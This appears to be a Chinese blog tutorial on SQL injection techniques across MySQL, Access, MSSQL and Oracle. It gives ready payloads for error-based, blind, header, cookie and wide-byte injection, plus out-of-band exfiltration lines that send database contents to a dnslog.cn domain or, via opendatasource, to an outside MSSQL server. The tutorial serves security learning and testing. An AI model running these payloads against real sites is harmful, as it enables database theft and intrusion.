Web渗透之SQL注入

SQL注入原理

SQL注入的原理是将用户输入的数据当做sql代码去执行,指web应用程序对用户输入数据的合理性没有明确判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作.

SQL注入有两个关键条件:

  1. 用户能够控制输入
  2. 原本程序要执行的代码,拼接了用户输入的输入然后放入数据库执行

一、显错注入

显错注入其实就是利用 and 1=2 页面返回错误 和 union select 联合查询,如果不是用and 1=2 那么页面原有的数据很容易覆盖掉sql注入查询出的结果
基本步骤如下:

  1. 判断注入点:and 1=1、and 1=2、1>2、-1<0、or sleep(5)等,也可以直接在传参后面加一个单引号 ’
  2. 猜解字段数:order by 函数
  3. 判断页面回显点:union select 例如当前页面有三个字段那么则拼接语句 union select 1,2,3
  4. 利用系统自带库查询表名、字段名、数据内容

二、POST注入

POST注入其实就是注入的一种,只是传参方式不同,传参方式分为GET/POST两种方式
POST注入高危点:与数据库有交互的各种form框
最为经典的POST注入语句就是 ’ or 1=1 – qwe 万能密码

POST注入用sqlmap做的方法如下:
使用burp suite进行抓包,*号指定测试点后 python sqlmap.py -r post.txt 跑

三、Header报错注入

header报错注入其实就是在header信息中利用mysql中的updatexml更新xml文档函数,但在此函数的文档路径中插入了子查询语句,并且拼接了特殊字符,使得路径报错,但在报错的时候其实是已经执行了插入的子查询语句。

常见的HEAD注入有4种:
	(1)ip
	(2)ua
	(3)refer
	(4)cookie
首先使用burp suite进行抓包,在数据包ua(user-agent)上完成注入
利用updatexml()函数,更新xml文档,但文档路径填写的是sql语句,使其报错
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
利用报错回显来完成注入

报错注入用到的函数:

  1. updatexml() 更新xml文档函数
  2. concat() 字符串拼接函数
  3. database() 当前所在库
  4. Limit x,y 从x行取y条数据

updatexml()函数的语法如下:

  1. updatexml(目标xml内容,目标xml路径,更新的内容)
  2. 例如:updatexml(0x7e,concat(0x7e,database()),0x7e) 这里0x7e是一个特殊符号 ~

updatexml函数执行结果
updatexml()函数一般配合 and或者or来使用 不需要判断字段数以及判断回显点等。
一些页面没有错误回显的时候可以使用报错注入进行测试,注意:报错注入一般有长度限制,所以尽量不要使用group_concat()集合输出函数

Header信息

1.PHP中的超全局变量,超全局变量:在一个脚本的全部作用域中都可以使用。

  1. $_REQUEST (获取GET/POST/COOKIE) COOKIE在php新版本中已经无法获取
  2. $_POST(获取POST传参)
  3. $_GET(获取GET传参)
  4. $_COOKIE(获取COOKIE值)
  5. $_SERVER(包含了一些头信息(header)、路径(path)以及脚本位置(script location)等信息的数组)

2.Header常用的一些Head信息:

  1. $_SERVER[‘HTTP_REFERER’] 获取Rerferer请求头信息
  2. $_SERVER[‘HTTP_USER_AGENT’] 获取ua信息,如浏览器、操作系统等信息
  3. $_SERVER[‘REMOTE_ADDR’] 浏览网页用户的ip

3.X-FORWARDED-FOR(透明代理获取ip)
X-Forwarded-for是用来识别通过HTTP代理或负载均衡方式连接到web服务器最原始的ip地址的http请求头字段[透明代理]
如果页面没有对getip进行过滤,那么通过这个传入的数据,会被拼接成sql语句造成sql注入

四、SQL注入之盲注

盲注介绍:
盲注对应的就是显错注入,显错注入要求Web服务器开启了错误回显,那么当Web服务器关闭错误回显的时候,完成的攻击就叫做盲注。
服务器关闭了错误回显,对于攻击者来说就缺少了很重要的“调试信息”。
盲注分为两种:

  1. 布尔型盲注(boolean)

布尔型盲注:根据注入信息返回true或false,没有报错信息

  1. 时间型盲注(time)

时间型盲注:页面返回值只有true的时候使用,因为页面返回值只有true所以无论输入什么,返回情况都会按照正常的来处理,时间盲注主要是依靠加入特定的时间函数,通过查看页面返回时间来判断是否注入成功。

盲注需要掌握的函数:

  1. length() 判断字符串长度,返回值是括号中字符串的长度,用法:length(“qwe”) 返回3

  2. substr() 截取字符串,语法:substr(str,pos,len) pos是从哪里开始,len是截取的长度

  3. ascii() 返回字符的ascii码

  4. sleep(n) 将程序挂起n秒(时间盲注所需要的函数)

  5. if(exp1,exp2,exp3) 判断语句,如果exp1成立,则执行exp2,否则执行exp3

    布尔盲注跑库名流程:
    		1.首先判断库名多长	length(database())>10  判断库名长度大不大于10
    		2.通过ascii()和substr()来判断库名字符分别是哪些
    	    	ascii(substr(database(),1,1))>10 可使用burpsuite跑包 更为快速
    

布尔盲注:

  1. 判断库名长度 www.xxxx.com?id=1 and length(database())>5
  2. 利用ascii码猜解库名 www.xxx.com?id=1 and ascii(substr(database(),1,1))=97 如果页面返回正常则证明库名第一个字符是a (ascii码97转换为字符是a) 猜解具体字符建议使用神器burp suite跑包
  3. 利用ascii码猜解表名 www.xxx.com?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97 猜解具体字符建议使用神器burp suite跑包
  4. 猜解字段名和内容和以上一样方法,具体查询语句不同而已。

时间盲注:

if(exp1,exp2,exp3) 如果exp1成立就执行exp2,否则(不成立)执行exp3
具体用法:www.xxx.com?id=1 and if(ascii(substr(database(),1,1))=97,sleep(10),1) 如果库名第一位是a则页面挂起10秒,否则不执行任何操作

可以用dns注入方法来提高盲注的速度

五、宽字节注入

宽字节注入主要源于程序员设置数据库编码为非英文编码,因汉字双字符的特性,使得网站将两个单字符拼接成一个双字符即一个汉字。
有些网站开启魔术引号,这时候如果页面传参中出现数据库敏感符号会自动被反斜杠进行转义,使得常规sql注入无法完成。
说到魔术引号,在php5.4及以下版本存在此魔术引号,通常使用magic_quotes_gpc,php5.4以上版本移除魔术引号,但可以用addlashess()函数来代替。
宽字节注入闭合方法:www.xxx.com?id=1 %ad' 在传参后面添加一个%ad’ 进行闭合,这样做的目的是为了让%ad和反斜杠进行匹配,让数据库误认为这是一个汉字,也可以将%ad直接换成任意一个汉字。但是在做查询的时候如果有where条件,那么单引号将不可避免,可以将条件内容转换为16进制。

六、Access注入之Cookie注入

Cookie注入:特殊传参方式产生的注入,滥用接收传参导致的Cookie注入
如何手动设置cookie:

  1. 依靠浏览器进行设置 -> F12 -> Aapplication -> Cookie
  2. 通过网站js修改cookie ->cument.cookie=‘id=’+
  3. 浏览器插件修改cookie
  4. 使用burp suite抓包修改cookie

在做cookie注入的时候,一定要先将构造好的payload进行url编码再注入。

	js中快速转换url编码的方法 escape("字符串")
	document.cookie='id='+escape("171 union select 1,2,3,4,5,6,7,8,9,0 from admin")

Access数据库不像mysql数据库这么野,类似于其他数据库 select语句必须写全:select * from admin。access数据库的结构是 表+字段,没有库的概念。
access猜解表名的方法与其他数据库都不一样,需要用到 exists()函数和burp进行爆破,用法如下:
and exists(select 1,2,3 from admin) 这句的意思其实就是为了猜是否存在admin这个表。通常会是用burp suite用字典爆破表名和字段名。

什么网站容易存在cookie注入:

  • 一般来说ASP的站点存在cookie注入的可能性极高。
  • PHP版本低于5.3的存在性极高

七、Access注入之移位溢注

移位溢注是偏移注入目前一种比较主流的方法,正统偏移注入相对来说较为麻烦,比较看人品。
简单来说移位溢注就是,不查询字段名,直接使用表名.* 例如:admin.* 来直接查询所有数据,然后根据字段数,从右到左一个一个的移,这样就不用查询字段名可直接爆出敏感数据。

八、MySql注入之DNSlog注入

DNS是什么:DNS是域名解析协议,简单点就是将域名转换成对应ip地址
DNSlog:DNSLog是一种监控DNS解析记录和HTTP访问记录的工具,这里推荐dnslog.cn
dnslog的使用场景:在某些无法利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候可以通过dns请求,把我们想要的数据外带出来。
将select到的数据发给一个url,利用dns解析产生的日志记录来查看该数据,但需要mysql能够访问指定文件,通过DNSlog.cn来得到dns解析日志
DNS注入需要用到的函数:

  • load_file() 读取文件: 可以读取本地文件、远程文件,在mysql高版本不一定适用此函数,默认是开启状态,在高版本中可以在mysql配置文件中添加 secure_file_priv=

     secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
     当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
     当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。
    
  • 用法:Load_flie(’//a.074yxb.dnslog.cn/abc’) 访问a下面的abc文件夹

  • 爆库名:select load_file(concat(’//’,database(),’.074yxb.dnslog.cn/abc’));

  • database()函数回显的内容拼接到dnslog域名上形成一个多级域名,例如库名为’admin’那么拼接后的字符串为: admin.2g7h6q.dnslog.cn

  • 当能够进行dns注入的时候,代表着有写文件的权限,这时候可以用into outfile()、into dumpfile()写文件以及一句话木马

九、MSSQL注入之反弹注入

mssql(Sql server)的显错注入

和mysql显错注入步骤一致,只是库名和严谨性不一样,在mssql中,系统库名是sysobjects 字段库名是syscolumns,mssql中数据类型极为严谨。
在mssql中查询用户创建的表 select id,name from sysobjects where xtype=‘u’,xtype=‘u’ 意思是用户(user)创建的表
查询用户创建的表中的字段 select id,name from syscolumns where id=前面所查询到的表id

MSSQL反弹注入

将获取到的数据利用opendatasource()函数反弹到事先准备好的mssql服务器上,即为反弹注入。
在做反弹注入的时候,有两个必要条件:

  1. 存在堆叠注入:堆叠注入是指在注入的时候使用;断开两条sql语句,如果两条能够成功执行则证明存在堆叠注入,有堆叠注入的时候危害性更大。
  2. 目标有外网环境。

使用 opendatasource(‘sqloledb’,‘数据库地址;连接端口;数据库用户名;密码;库名’).选中数据库.选中表 打开数据源函数
insert into opendatasource(‘sqloledb’,‘server=1,端口=666;uid=123;pwd=123;database=user’).admin.dbo.abc select * from admin – qwe
插入一条打开数据源,连接地址为1,端口是666,连接的库用户名为 123 密码是 123 连接到的库名叫 user 选中admin库中的abc表 插入一条查询语句.
例如:insert into opendatasource(‘sqloledb’,‘server=SQL123.site4now.net’,1433,uid=DB_1asdasd_abc_admin;pwd=qweqweasd;database=DB_1asdasd_abc).DB_1asdasd_abc.dbo.temp select name,id from sysobjects where xtype=‘u’ – qwe

十、Oracle注入之报错注入

Oracle的特点:

  • 很强大
  • 有一个特殊的虚表:dual
  • 弱化了对库的概念
  • 普通数据库: 库 -> 表 -> 字段 -> 数据
  • Oracle数据库:用户 -> 表 -> 字段 -> 数据

dual是一个特殊的虚表,它可以用来满足一些语法需求比如:select 1,2,3 from dual
Oracle查询表和字段的关键语法:

  • select * from all_tables 查看所有表
  • select * from user_tables 查看当前用户的表
  • select user from dual 查看当前用户
  • select * from user_tab_columns 查看当前用户的字段
  • select * from all_tab_columns 查看所有的字段
  • rownum=1 限制返回的结果只有一条,如果要限制为两条则需要写rownum<3
  • 如果想要查看第二条数据,但不看第一条数据的话可以写 where rownum<3 and table_name<>‘dual’(表名不是dual的时候输出)

报错注入
and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) – qwe 查询表名
and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1)) – qwe 查询字段名
在Oracle中有一种特殊的类型,nchar 需要用到to_nchar()来进行转换
在Oracle中也可以用以下语句来达到和limit类似的效果

  • select table_name from (select ROWNUM r,table_name from user_tables) where r=2
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值